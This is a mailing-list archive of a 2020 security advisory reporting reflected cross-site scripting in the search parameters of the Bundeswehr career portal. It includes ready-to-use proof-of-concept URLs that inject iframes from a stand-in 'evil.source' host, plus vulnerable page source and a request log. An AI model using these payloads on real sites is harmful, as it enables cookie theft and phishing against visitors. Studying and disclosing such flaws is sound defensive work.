lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <8c4ef96e-6ce8-8ed5-dd50-f77a0725e582@vulnerability-lab.com>
Date: Wed, 15 Apr 2020 10:56:11 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Bundeswehr Karriere Portal - Cross Site Scripting Vulnerability

Document Title:
===============
Bundeswehr Karriere - Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2213

Vulnerability Magazine:
https://www.vulnerability-db.com/?q=articles/2020/04/04/bundeswehr-career-page-weak-spot-permanently-closed

Video: https://www.vulnerability-lab.com/get_content.php?id=2197


Release Date:
=============
2020-04-15


Vulnerability Laboratory ID (VL-ID):
====================================
2213


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Als Bundeswehr bezeichnet man die Streitkräfte der Bundesrepublik
Deutschland einschließlich der Bundeswehrverwaltung und
weiterer Organisationsbereiche, die im Geschäftsbereich des
Bundesministeriums der Verteidigung liegen. Die BWI Informationstechnik
GmbH wurde 2006 von Bundeswehr, IBM und Siemens gegründet. Zusammen mit
den Gesellschaften BWI Systeme GmbH und BWI
Services GmbH bildet sie den BWI Leistungsverbund zur Umsetzung von
Herkules, der größten öffentlich-privaten
Partnerschaft in Europa.

(Copy of the Homepage:  https://de.wikipedia.org/wiki/Bundeswehr)
(Copy of the Homepage:
https://de.wikipedia.org/wiki/BWI_Informationstechnik)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core APT Research Team has identified
several cross site scripting vulnerabilities in a
web application of the German Bundeswehr. The Bundeswehr career portal
is affected.


Affected Product(s):
===============
Hersteller: Bundeswehr
Technology:	Web-Server
Produkt: Bundeswehr Karriereportal (Web-Applikation)
Module:	Suchmaschine - Karriere
Dienstleister: BWI


Vulnerability Disclosure Timeline:
==================================
2020-04-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre auth - no privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Coordinated Disclosure


Technical Details & Description:
================================
Several non-persistent cross site scripting scripting security
vulnerabilities have been discovered in the official career site of
the German Bundeswehr. The vulnerability type allows attackers to
manipulate client-side controlled application calls.

The cross site scripting vulnerabilities are located in the
'termination', 'interests', 'careers' and 'search' parameters of
the 'career' module in the 'search' function. The GET method request is
not cleanly cleaned up when retrieving with the vulnerable
parameters. There is no validation where the request is intercepted,
cleaned or filtered. As a result,
attackers can submit their own malicious input to the https request to
the official Bundeswehr career website. In the
search, all parameters from the new page are listed and thus finally
executed via the request. In the case of a
successful attack, an attacker could, for example, steal session
information such as cookies, generate phishing pages,
identify persons with external calls, integrate client-side exploits
(drive-by) or redirect to harmful web server pages.
Since the web server should recognize all external sources or integrated
calls, there may be a problem with the
security of the SSL certificate via the Same Origin Policy.

The security risk of cross site scripting vulnerabilities in the search
function of the web application are considered medium.
To exploit the vulnerability, an attacker does not need a web
application user account, but does require light user
interaction by visiting a link. Exploitation of the vulnerability
results in the theft of cookie information, calling harmful
external sources in the Bundeswehr web context or spear phishing attacks.

Request Method(s):
[+] GET

Vulnerable Service(s):
[+] Bundeswehr Karriere (Web-Applikation) www.bundeswehrkarriere.de

Vulnerable Module(s):
[+] Karriere Suche (ajax/filterlist/de/auswahl/33050/)

Vulnerable Parameter(s):
[+] Abschluss
[+] Interessen
[+] Laufbahnen
[+] Suche


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by attackers without a privileged
user account but with light user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Manuelle Schritte zum reproduzieren der Sicherheitslücke
1. Öffne die Bundeswehr Karriere Webseite
Note: https://www.bundeswehrkarriere.de/karriere
2. Starte einen http/https protocol session tamper zum eingreifen in den
Aufruf (live)
3. Starte eine Suche und klick auf die Lupe
4. Beim suchen fügt der Angreifer live im session tamper programm im GET
method request seine payloads ein
5. Der Inhalt der Parameter wird unten in der Suche ausgegeben und führt
sich direkt aus
6. Erfolgreiche Reproduktion der Sicherheitslücke!


PoC: Payloads (Exploitation)
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test

https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Suche:test

https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Laufbahnen:Unteroffiziere;Suche:test

https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test

https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E



PoC: Vulnerable Source
  <div class="row">
    <div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 js-filter
js-filter-multi" data-defaultlabel="Bitte wählen Sie"
data-selectlabel="gewählt" data-update="true"
data-required="false" data-disabled="true" data-connection="OR"
data-key="subjecttaxonomy" data-label="Organisationsbereiche"
data-id="33052">
  <h5 class="">Organisationsbereiche</h5>
  <select class="filter-select js-select select2-hidden-accessible"
multiple="" data-enable-placeholder="true" data-placeholder="Bitte
wählen Sie" tabindex="-1" style="" aria-hidden="true">
    <option data-label="Bundeswehrverwaltung" data-id="31730"
data-facet="0" value="31730"
data-text="Bundeswehrverwaltung">Bundeswehrverwaltung</option>
        <option data-label="Heer" data-id="31732" data-facet="0"
value="31732" data-text="Heer">Heer</option>
        <option data-label="Luftwaffe" data-id="31820" data-facet="0"
value="31820" data-text="Luftwaffe">Luftwaffe</option>
        <option data-label="Marine" data-id="31822" data-facet="0"
value="31822" data-text="Marine">Marine</option>
        <option data-label="Streitkraeftebasis" data-id="31824"
data-facet="0" value="31824"
data-text="Streitkräftebasis">Streitkräftebasis</option>
        <option data-label="Sanitaetsdienst" data-id="50290"
data-facet="0" value="50290"
data-text="Sanitätsdienst">Sanitätsdienst</option>
        </select><span class="select2 select2-container
select2-container--default" dir="ltr" style="width: 155px;"><span
class="selection"><span class="select2-selection
select2-selection--multiple"
role="combobox" aria-autocomplete="list" aria-haspopup="true"
aria-expanded="false" tabindex="-1"><ul
class="select2-selection__rendered"><li class="select2-search
select2-search--inline first last">
<span tabindex="0" class="search-placeholder" data-title="Bitte wählen
Sie" data-defaulttitle="Bitte wählen Sie"><input
class="select2-selection--multiple select2-search__field" type="button">
</span></li></ul></span></span><span class="dropdown-wrapper"
aria-hidden="true"></span></span>
</div><div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 js-filter
js-filter-single" data-defaultlabel="Bitte wählen Sie"
data-update="true" data-connection="OR" data-key="subjecttaxonomy"
data-required="false" data-disabled="true" data-label="Laufbahnen"
data-id="33122">
    <h5 class="">Laufbahnen</h5>
    <div class="btn-group-responsive">
        <select class="filter-select js-select
select2-hidden-accessible" data-enable-placeholder="true"
data-placeholder="Bitte wählen Sie" tabindex="-1" style=""
aria-hidden="true">
            <option>Bitte wählen Sie</option>
            <option data-label="Mannschaften" data-id="31858"
data-facet="0" value="31858" data-text="Mannschaften">Mannschaften</option>
        <option data-label="Unteroffiziere" data-id="31864"
data-facet="0" value="31864"
data-text="Unteroffiziere">Unteroffiziere</option>
        <option data-label="Feldwebel" data-id="31860" data-facet="0"
value="31860" data-text="Feldwebel">Feldwebel</option>
        <option data-label="Offiziere" data-id="31862" data-facet="0"
value="31862" data-text="Offiziere">Offiziere</option>
        <option data-label="Reserve" data-id="50304" data-facet="0"
value="50304" data-text="Reserve">Reserve</option>
        <option data-label="Mittlerer_Dienst" data-id="41976"
data-facet="0" value="41976" data-text="Mittlerer Dienst">Mittlerer
Dienst</option>
        <option data-label="Gehobener_Dienst" data-id="41978"
data-facet="0" value="41978" data-text="Gehobener Dienst">Gehobener
Dienst</option>
        <option data-label="Hoeherer_Dienst" data-id="41980"
data-facet="0" value="41980" data-text="Höherer Dienst">Höherer
Dienst</option>
        </select><span class="select2 select2-container
select2-container--default select2-container--below" dir="ltr"
style="width: 125px;"><span class="selection">
<span class="select2-selection select2-selection--single"
role="combobox" aria-autocomplete="list" aria-haspopup="true"
aria-expanded="false" tabindex="0"
aria-labelledby="select2-kbwa-container"><span
class="select2-selection__rendered" id="select2-kbwa-container"
title="Unteroffiziere"><span><span class="js-label">Unteroffiziere</span>
<span class="caret"></span></span></span><span
class="select2-selection__arrow" role="presentation"><b
role="presentation"></b></span></span></span>
<span class="dropdown-wrapper" aria-hidden="true"></span></span>
    </div>
</div></div>
  <div class="row">
    <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 js-filter
js-filter-search" data-update="true" data-connection="OR" data-key="search"
data-required="false" data-disabled="true" data-label="Suche"
data-id="33126">
  <h5 class=" hidden">Suche</h5>
  <div class="form-group">
    <input class="form-control js-search-input"
placeholder="Suchbegriff" type="text">
    <input id="search-term" class="js-search-submit" value="Suche"
type="button">
  </div>
</div></div>
PoC: Execution
Suche
Laufbahn
Bitte wählen Sie**
AuswahlX
<javascript:void();>AbiturX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>UnteroffiziereX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>FuehrungX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>test >"<[MALICIOUS PAYLOAD!]
//
Laufbahnen
  * // Laufbahnen <#>
  * // Jobprofile <#>
  * // Auch interessant <#>
Keine Treffer gefunden
Bitte geben Sie Ihren bereits erreichten oder angestrebten
Schulabschluss an, damit wir Ihnen Ihre passenden Jobmöglichkeiten
anzeigen koennen.


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
https://www.bundeswehrkarriere.de/ajax/filterlist/de/auswahl/33050/h_368f9ea9884c87f4c9d45368542ba48f?subjecttaxonomy=33120%2331848%3B33118%2331770%3B33052%2331732%3B33122%2341980%3B50510%2350470
&search=33126%23%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fwww.test.de%3E&limit=12&offset=0&sort=relevance+asc%3Bsearchdate+asc

Mime Type[text/html]
   Request Header:
      Host[www.bundeswehrkarriere.de]
      Referer[https://www.bundeswehrkarriere.de/karriere]
      Connection[keep-alive]
   Response Header:
      200 OK
      Server[Apache]
      Content-Type[text/html;charset=UTF-8]
      Content-Language[de]
      x-varnish[23952790]
      Via[1.1 varnish-v4]
      Accept-Ranges[bytes]
      Connection[close]


Solution - Fix & Patch:
=======================
The security gap can be quickly resolved by the following work-around ...
1. Input fields must prevent the input of special characters (Disallow
Specialchars)
2. Parse or filter the content of the parameters via GET to prevent input
3. Use the escape function for the output at the end of the function
4. Check why the SSL certificate does not expire on external calls


Security Risk:
==============
The security risk of client-side cross site scripting web vulnerability
in the Bundeswehr career application is to be rated as medium.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.



Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com			
www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com
paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 		
youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™






-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ